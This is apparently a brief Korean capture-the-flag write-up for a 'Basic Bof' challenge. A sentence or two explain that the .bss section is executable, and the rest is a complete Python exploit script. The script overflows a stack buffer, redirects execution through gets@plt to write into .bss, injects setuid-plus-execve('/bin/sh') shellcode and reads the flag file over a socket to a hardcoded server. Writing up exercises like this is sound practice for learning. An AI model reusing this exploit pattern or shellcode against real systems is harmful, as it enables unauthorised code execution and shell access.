SongSari - Basic Bof

Main에는 이것 하나밖에 없었다.

그래서 정말그런지 삽질하다. bss 영역에 실행권한이 있음을 알게 되었다.

그래서 bss에 쉘코드를 넣고 실행시켰다.

from socket import *
from time import sleep
from struct import pack,unpack
p = lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('61.105.8.2', 11000)
bss = 0x804a020
gets_plt = 0x80482f0
 
def main():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    payload=""
    payload+="A"*0x44
    payload+=p(gets_plt)
    payload+=p(bss)
    payload+=p(bss)
    S.send(payload+"\n")
    sleep(0.5)
    payload2=("\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
        "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80")
    S.send(payload2+"\n")
    S.send("id;ls -al /home/basicbof/flag;cat /home/basicbof/flag   \n")
    print S.recv(1024)
    print S.recv(1024)
if __name__ == "__main__":
    main()